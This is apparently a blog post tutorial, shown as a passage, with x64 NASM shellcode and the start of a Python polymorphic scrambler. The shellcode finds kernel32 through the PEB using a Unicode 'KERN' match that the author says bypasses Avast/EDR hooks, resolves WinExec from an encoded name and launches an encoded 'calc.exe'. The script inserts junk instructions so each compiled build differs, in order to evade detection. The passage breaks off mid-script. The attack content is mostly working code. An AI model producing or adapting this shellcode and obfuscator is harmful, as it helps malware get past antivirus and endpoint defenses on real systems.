<p>Okay, without further ado, the x64 assembly code can be found below.  I tried not to be too lazy and add in comments to help where I thought they’d be useful.  One other important item of importance.  If you’ve ever used Avast for your AV/EDR solution, you’ll quickly realize Avast hooks into your program’s loaded modules.  Other EDR solutions do this as well, but Avast is the one that comes to my immediate memory.  In particular, it hooks into the initial loader prologue that we walk over in our shellcode to locate Kernel32’s base address.  So, if you use the old school method of locating kernel32, you’ll usually land on the hooked version instead.  Not so with the code below.  We literally search for a module with KERN in the name (unicode) and unless EDR / AV starts to name their hooked module KERNxx.dll, you’ll be in good shape and bypass the initial hook with the code below!</p>

<h2 id="the-calc-x64-assembly-code-with-custom-loading-of-kernel32-base-via-teb">The Calc x64 Assembly Code (with custom loading of kernel32 base via TEB)</h2>

<blockquote>
  <p><strong>calc.asm</strong></p>
</blockquote>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c1">;nasm -fwin64 [x64findkernel32.asm]</span>
<span class="c1">;ld -m i386pep -o x64findkernel32.exe x64findkernel32.obj</span>

<span class="c1">; locates kernel32.dll searching the UNICODE string instead of the location in the list</span>
<span class="c1">; then loads calc.exe</span>

<span class="k">BITS</span> <span class="mi">64</span>
<span class="k">SECTION</span> <span class="nv">.text</span>
<span class="nf">global</span> <span class="nv">main</span>
<span class="nl">main:</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0xFFFFFFFFFFFFFFF0</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>             <span class="c1">; RCX = 0</span>

<span class="c1">; Access TEB base: GS segment points to TEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">gs</span><span class="p">:[</span><span class="mh">0x30</span><span class="p">]</span>
<span class="c1">; Access PEB from TEB (TEB + 0x60)</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span>

<span class="c1">;mov rax, [gs:rcx + 0x60] ; RAX = PEB</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">]</span>    <span class="c1">; RAX = PEB-&gt;Ldr (_PEB_LDR_DATA)</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>       <span class="c1">;PEB.Ldr-&gt;InMemOrderModuleList</span>

<span class="nl">checkit:</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span> 
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">]</span> 

<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rcx</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x004E00520045004B</span> <span class="c1">;UNICODE "K E R N" from KERNEL32.DLL</span>
<span class="nf">cmp</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rdx</span>
<span class="nf">jz</span> <span class="nv">foundit</span>
<span class="nf">jnz</span> <span class="nb">ch</span><span class="nv">eckit</span>

<span class="nl">foundit:</span>
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">]</span>

<span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span> <span class="nb">rbx</span>              <span class="c1">; mov kernel32.dll base addr into r8</span>
<span class="c1">;Code for parsing Export Address Table</span>
<span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="mh">0x3C</span><span class="p">]</span>           <span class="c1">; Get Kernel32 PE Signature (offset 0x3C) into EBX</span>
<span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; Add signature offset to kernel32 base. Store in RBX.</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add</span>
<span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="mh">0x88ff</span>
<span class="nf">shr</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mh">0x8</span>                  <span class="c1">; RCX = 0x88ff --&gt; 0x88</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="nb">rcx</span><span class="p">]</span>            <span class="c1">; EDX = [&amp;NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable</span>
<span class="nf">add</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RDX = kernel32.dll + RVA ExportTable = ExportTable Address</span>
<span class="nf">mov</span> <span class="nb">r10d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x14</span><span class="p">]</span>          <span class="c1">; Number of functions</span>
<span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Zero R11 before use</span>
<span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>          <span class="c1">; AddressOfNames RVA</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; AddressOfNames VMA</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">r10</span>                  <span class="c1">; Set loop counter</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x6F9C9A87BA9196A8</span>   <span class="c1">; WinExec 'encoded'</span>
<span class="nf">not</span> <span class="nb">rax</span>
<span class="nf">shl</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nf">shr</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rsp</span>	
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x8</span>
<span class="nl">kernel32findfunction:</span>             <span class="c1">; Loop over Export Address Table to find WinApi names</span>
    <span class="nf">jecxz</span> <span class="nv">FunctionNameNotFound</span>    <span class="c1">; Loop around this function until we find WinExec</span>
    <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span><span class="nb">ebx</span>                   <span class="c1">; Zero EBX for use</span>
    <span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; EBX = RVA for first AddressOfName</span>
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name</span>
    <span class="nf">dec</span> <span class="nb">rcx</span>                       <span class="c1">; Decrement our loop by one, this goes from Z to A</span>
    <span class="nf">mov</span> <span class="nv">r9</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rax</span><span class="p">]</span>                <span class="c1">; R9 = "our API"</span>
    <span class="nf">cmp</span> <span class="p">[</span><span class="nb">rbx</span><span class="p">],</span> <span class="nv">r9</span>                      <span class="c1">; Compare all bytes</span>
    <span class="nf">jz</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
	<span class="nf">jnz</span> <span class="nv">kernel32findfunction</span>
<span class="nl">FunctionNameNotFound:</span>
<span class="nf">int3</span>
<span class="nl">FunctionNameFound:</span>                <span class="c1">; Get function address from AddressOfFunctions</span>
   <span class="nf">inc</span> <span class="nb">ecx</span>                        <span class="c1">; increase counter by 1 to account for decrement in loop</span>
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x1c</span><span class="p">]</span>           <span class="c1">; AddressOfFunctions RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions</span>
   <span class="nf">mov</span> <span class="nb">r15d</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; Get the function RVA.</span>
   <span class="nf">add</span> <span class="nv">r15</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; Found the Winexec WinApi and all the while skipping ordinal lookup! w00t!</span>
   <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
   <span class="nf">push</span> <span class="nb">rax</span>
   <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x9A879AD19C939E9C</span>    <span class="c1">; encoded calc.exe ;)</span>
   <span class="nf">not</span> <span class="nb">rax</span>
   <span class="nf">push</span> <span class="nb">rax</span>
   <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsp</span>	                 
   <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>
   <span class="nf">inc</span> <span class="nb">rdx</span>
   <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
   <span class="nf">call</span> <span class="nv">r15</span>                       <span class="c1">; Call WinExec</span>
</code></pre></div></div>

<p>Okay, so now that we have our assembly code, we need to move on to the next step and scramble it.  This is part 1 of our polymorphic shellcode preparations.  The code below will insert benign assembly instructions throughout our assembly code where it will be completely unique each time it is compiled into shellcode.  Basically what I did was check for registers already in use and those that I determined weren’t in use would be the registers chosen for the scrambled assembly instruction code insertion.  For instance, here’s all the possible x64 register combinations we will search for and use:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">all_reg_variants</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">eax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">al</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ah</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ecx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ch</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">spl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bpl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">si</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">di</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15b</span><span class="sh">'</span><span class="p">],</span>
<span class="p">}</span>
</code></pre></div></div>

<p>and here’s all the possible instruction combinations I chose to use for this particular scrambler script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">single_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xor {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">mov {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">add {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">sub {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">cmp {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">test {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">imul {reg}, {reg}, 1</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shl {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shr {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">rol {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">ror {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">inc {reg}</span><span class="sh">"</span><span class="p">,</span>  <span class="c1"># Added inc
</span>    <span class="sh">"</span><span class="s">nop</span><span class="sh">"</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Now that you know how it works, let’s go ahead and run the full python script below:</p>

<h2 id="the-assembly-code-scrambler---polymorphic-prep-part-1">The Assembly Code Scrambler - Polymorphic prep part 1</h2>

<blockquote>
  <p><strong>asmobfuscator.py</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">random</span>

<span class="n">all_reg_variants</span> <span class="o">=</span> <span class="p">{</span>
    <span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">eax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ax</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">al</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ah</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rcx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ecx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">cl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ch</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bx</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bl</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bh</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">spl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ebp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">bpl</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">esi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">si</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">sil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">di</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15b</span><span class="sh">'</span><span class="p">],</span>
<span class="p">}</span>

<span class="k">def</span> <span class="nf">find_used_regs</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
    <span class="n">used</span> <span class="o">=</span> <span class="nf">set</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
        <span class="n">clean_line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">clean_line</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="k">for</span> <span class="n">full_reg</span><span class="p">,</span> <span class="n">variants</span> <span class="ow">in</span> <span class="n">all_reg_variants</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">for</span> <span class="n">var</span> <span class="ow">in</span> <span class="n">variants</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">re</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">rf</span><span class="sh">'</span><span class="s">\b</span><span class="si">{</span><span class="n">re</span><span class="p">.</span><span class="nf">escape</span><span class="p">(</span><span class="n">var</span><span class="p">)</span><span class="si">}</span><span class="s">\b</span><span class="sh">'</span><span class="p">,</span> <span class="n">clean_line</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">):</span>
                    <span class="n">used</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">full_reg</span><span class="p">)</span>
                    <span class="k">break</span>
    <span class="k">return</span> <span class="n">used</span>

<span class="n">single_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xor {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">mov {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">add {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">sub {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">cmp {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">test {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">imul {reg}, {reg}, 1</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shl {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shr {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
